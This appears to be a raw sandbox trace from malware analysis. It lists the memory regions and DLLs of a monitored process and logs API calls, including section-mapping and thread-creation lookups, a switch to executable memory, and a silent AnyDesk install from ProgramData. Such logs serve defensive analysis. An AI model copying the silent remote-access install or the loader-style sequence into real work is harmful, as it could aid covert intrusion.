"\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2856 start_va = 0x5f0000 end_va = 0x777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 2857 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2858 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2859 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2860 start_va = 0x780000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2861 start_va = 0x19c0000 end_va = 0x2dbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019c0000" filename = "" Region: id = 2862 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2863 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2864 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2865 start_va = 0x75960000 end_va = 0x75994fff monitored = 0 entry_point = 0x7596145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2866 start_va = 0x76960000 end_va = 0x76965fff monitored = 0 entry_point = 0x76961782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2867 start_va = 0x3a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2868 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 2869 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2870 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2871 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2872 start_va = 0x170000 end_va = 0x170fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2874 start_va = 0x180000 end_va = 0x181fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2878 start_va = 0x71d50000 end_va = 0x71edffff monitored = 0 entry_point = 0x71ded026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 2886 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2887 start_va = 0x74830000 end_va = 0x7484bfff monitored = 0 entry_point = 0x7483a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2888 start_va = 0x74820000 end_va = 0x74826fff monitored = 0 entry_point = 0x7482128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2889 start_va = 0x73900000 end_va = 0x73904fff monitored = 0 entry_point = 0x739010f6 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 2890 start_va = 0x71cf0000 end_va = 0x71d47fff monitored = 0 entry_point = 0x71cf13b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 2891 start_va = 0x71ca0000 end_va = 0x71ceefff monitored = 0 entry_point = 0x71ca1452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 2892 start_va = 0x74ab0000 end_va = 0x74bd0fff monitored = 0 entry_point = 0x74ab158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2893 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2894 start_va = 0x74920000 end_va = 0x74927fff monitored = 0 entry_point = 0x749210e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2895 start_va = 0x759d0000 end_va = 0x75b6cfff monitored = 0 entry_point = 0x759d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 2896 start_va = 0x758a0000 end_va = 0x758c6fff monitored = 0 entry_point = 0x758a58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2897 start_va = 0x75b70000 end_va = 0x75b81fff monitored = 0 entry_point = 0x75b71441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 2898 start_va = 0x170000 end_va = 0x17cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 2899 start_va = 0x71c40000 end_va = 0x71c90fff monitored = 0 entry_point = 0x71c6988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 2900 start_va = 0x240000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2901 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2902 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2903 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2904 start_va = 0x3a0000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2905 start_va = 0x470000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 2906 start_va = 0x910000 end_va = 0x9eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2907 start_va = 0x2e90000 end_va = 0x2ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 2908 start_va = 0x2f70000 end_va = 0x306ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 2909 start_va = 0xfffd8000 end_va = 0xfffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 2910 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2911 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2912 start_va = 0x3070000 end_va = 0x333efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2913 start_va = 0x748a0000 end_va = 0x748c0fff monitored = 0 entry_point = 0x748a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2914 start_va = 0x75b90000 end_va = 0x75bd4fff monitored = 0 entry_point = 0x75b911e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2915 start_va = 0x3340000 end_va = 0x343ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 2916 start_va = 0x2dc0000 end_va = 0x2e40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 2917 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2918 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2919 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2920 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2921 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2922 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 5195 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 5196 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 5197 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5198 start_va = 0x280000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5199 start_va = 0x3480000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 5200 start_va = 0x738e0000 end_va = 0x738f6fff monitored = 0 entry_point = 0x738e3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 5201 start_va = 0xfffd5000 end_va = 0xfffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 5202 start_va = 0x2d0000 end_va = 0x30bfff monitored = 0 entry_point = 0x2d128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5203 start_va = 0x2d0000 end_va = 0x30bfff monitored = 0 entry_point = 0x2d128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5204 start_va = 0x2d0000 end_va = 0x30bfff monitored = 0 entry_point = 0x2d128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5205 start_va = 0x2d0000 end_va = 0x30bfff monitored = 0 entry_point = 0x2d128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5206 start_va = 0x2d0000 end_va = 0x30bfff monitored = 0 entry_point = 0x2d128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5214 start_va = 0x738a0000 end_va = 0x738dafff monitored = 0 entry_point = 0x738a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5215 start_va = 0x747a0000 end_va = 0x747adfff monitored = 0 entry_point = 0x747a1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 5241 start_va = 0x2df0000 end_va = 0x2e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 5242 start_va = 0x36c0000 end_va = 0x37bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036c0000" filename = "" Region: id = 5243 start_va = 0xfffad000 end_va = 0xfffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 5244 start_va = 0x430000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5245 start_va = 0x38f0000 end_va = 0x39effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 5246 start_va = 0xfffaa000 end_va = 0xfffacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 5250 start_va = 0x72090000 end_va = 0x720eefff monitored = 0 entry_point = 0x72092134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 5251 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x2d6b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 5254 start_va = 0x2f0000 end_va = 0x2f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb") Region: id = 5256 start_va = 0x73870000 end_va = 0x7389afff monitored = 0 entry_point = 0x7388d3fe region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieproxy.dll") Region: id = 5257 start_va = 0x2d0000 end_va = 0x2d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 5259 start_va = 0x71a50000 end_va = 0x71a9dfff monitored = 0 entry_point = 0x71a8816e region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Thread: id = 189 os_tid = 0xe08 [0163.770] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="LdrLoadDll", Ordinal=0x0, ProcedureAddress=0x16fe14 | out: ProcedureAddress=0x16fe14*=0x76f3c43a) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="LdrUnloadDll", Ordinal=0x0, ProcedureAddress=0x16fe1c | out: ProcedureAddress=0x16fe1c*=0x76f411d7) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x16fe20 | out: ProcedureAddress=0x16fe20*=0x76f1fda0) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x16fe24 | out: ProcedureAddress=0x16fe24*=0x76f1ff94) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x16fe28 | out: ProcedureAddress=0x16fe28*=0x76f1fc40) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtClose", Ordinal=0x0, ProcedureAddress=0x16fe2c | out: ProcedureAddress=0x16fe2c*=0x76f1f9d0) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x16fe30 | out: ProcedureAddress=0x16fe30*=0x76f1fc70) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtDuplicateObject", Ordinal=0x0, ProcedureAddress=0x16fe34 | out: ProcedureAddress=0x16fe34*=0x76f1fe34) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtTerminateThread", Ordinal=0x0, ProcedureAddress=0x16fe38 | out: ProcedureAddress=0x16fe38*=0x76f20074) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtProtectVirtualMemory", Ordinal=0x0, ProcedureAddress=0x16fe3c | out: ProcedureAddress=0x16fe3c*=0x76f20028) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="RtlCreateUserThread", Ordinal=0x0, ProcedureAddress=0x16fe40 | out: ProcedureAddress=0x16fe40*=0x76fae5d1) returned 0x0 [0163.771] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x16fe74 | out: BaseAddress=0x16fe74*=0x752b0000) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x16fe48 | out: ProcedureAddress=0x16fe48*=0x76f2e026) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x16fe4c | out: ProcedureAddress=0x16fe4c*=0x76f41f6e) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x16fe50 | out: ProcedureAddress=0x16fe50*=0x752c14a9) returned 0x0 [0163.771] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcessHeap", Ordinal=0x0, ProcedureAddress=0x16fe54 | out: ProcedureAddress=0x16fe54*=0x752c14c9) returned 0x0 [0163.772] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x16fe58 | out: ProcedureAddress=0x16fe58*=0x752c79c8) returned 0x0 [0163.772] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x16fe5c | out: ProcedureAddress=0x16fe5c*=0x752c5159) returned 0x0 [0163.772] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x16fe60 | out: ProcedureAddress=0x16fe60*=0x752c4317) returned 0x0 [0163.772] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x16fe64 | out: ProcedureAddress=0x16fe64*=0x752c3460) returned 0x0 [0163.772] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetDefaultDllDirectories", Ordinal=0x0, ProcedureAddress=0x16fe68 | out: ProcedureAddress=0x16fe68*=0x753d208a) returned 0x0 [0163.772] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetSearchPathMode", Ordinal=0x0, ProcedureAddress=0x16fe6c | out: ProcedureAddress=0x16fe6c*=0x7534072b) returned 0x0 [0163.772] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0163.772] SetSearchPathMode (Flags=0x8001) returned 1 [0163.772] GetModuleHandleW (lpModuleName=0x0) returned 0xa40000 [0163.772] VirtualProtect (in: lpAddress=0xa401f0, dwSize=0x28, flNewProtect=0x4, lpflOldProtect=0x16fdf8 | out: lpflOldProtect=0x16fdf8*=0x2) returned 1 [0165.361] VirtualProtect (in: lpAddress=0xa401f0, dwSize=0x28, flNewProtect=0x2, lpflOldProtect=0x16fdf8 | out: lpflOldProtect=0x16fdf8*=0x4) returned 1 [0165.497] GetProcessHeap () returned 0x4f0000 [0165.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xbc5e00) returned 0x19c0020 [0165.498] GetProcessHeap () returned 0x4f0000 [0165.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4f0000) returned 1 [0165.498] GetProcessHeap () returned 0x4f0000 [0165.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e6c) returned 0x4f3260 [0166.199] GetProcessHeap () returned 0x4f0000 [0166.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f3260 | out: hHeap=0x4f0000) returned 1 [0166.227] VirtualProtect (in: lpAddress=0xa44000, dwSize=0xbd5e00, flNewProtect=0x40, lpflOldProtect=0x16ece4 | out: lpflOldProtect=0x16ece4*=0x8) returned 1 [0168.828] GetModuleHandleW (lpModuleName=0x0) returned 0xa40000 [0168.828] GetModuleHandleW (lpModuleName=0x0) returned 0xa40000 [0168.829] GetCommandLineA () returned="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent" [0168.830] GetProcessHeap () returned 0x4f0000 [0168.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x19c0020 | out: hHeap=0x4f0000) returned 1 [0169.193] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32.dll", BaseAddress=0x16eb8c | out: BaseAddress=0x16eb8c*=0x752b0000) returned 0x0 [0169.194] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x16eb90 | out: ProcedureAddress=0x16eb90*=0x752c498f) returned 0x0 [0169.194] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x71ee0000 [0170.471] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetLineInfoW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef48d8) returned 0x0 [0170.471] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerClose", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef38b0) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetDevCapsW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef47c0) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerOpen", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef42cd) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetLineControlsW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef4ac0) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="waveInGetNumDevs", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ee9025) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetNumDevs", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef3884) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerSetControlDetails", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef4c5d) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeBeginPeriod", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ee9ef7) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeEndPeriod", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ee9feb) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetControlDetailsW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71ef4b87) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeSetEvent", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71eea65c) returned 0x0 [0170.472] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="timeKillEvent", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x71eea58c) returned 0x0 [0170.472] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x751c0000 [0170.475] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name=0x0, Ordinal=0xb0, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x751d4266) returned 0x0 [0170.475] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="PathIsUNCW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x751da197) returned 0x0 [0170.476] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="PathCanonicalizeW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x751ce3af) returned 0x0 [0170.476] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="SHStrDupW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x751da0b7) returned 0x0 [0170.476] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="SHCreateStreamOnFileEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x751d2926) returned 0x0 [0170.476] LdrGetProcedureAddress (in: BaseAddress=0x751c0000, Name="PathFileExistsW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x751d45bf) returned 0x0 [0170.476] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75960000 [0170.480] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAConnect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7596cc3f) returned 0x0 [0170.480] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAIoctl", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75962fe7) returned 0x0 [0170.480] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x5, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75967147) returned 0x0 [0170.480] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x34, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75977673) returned 0x0 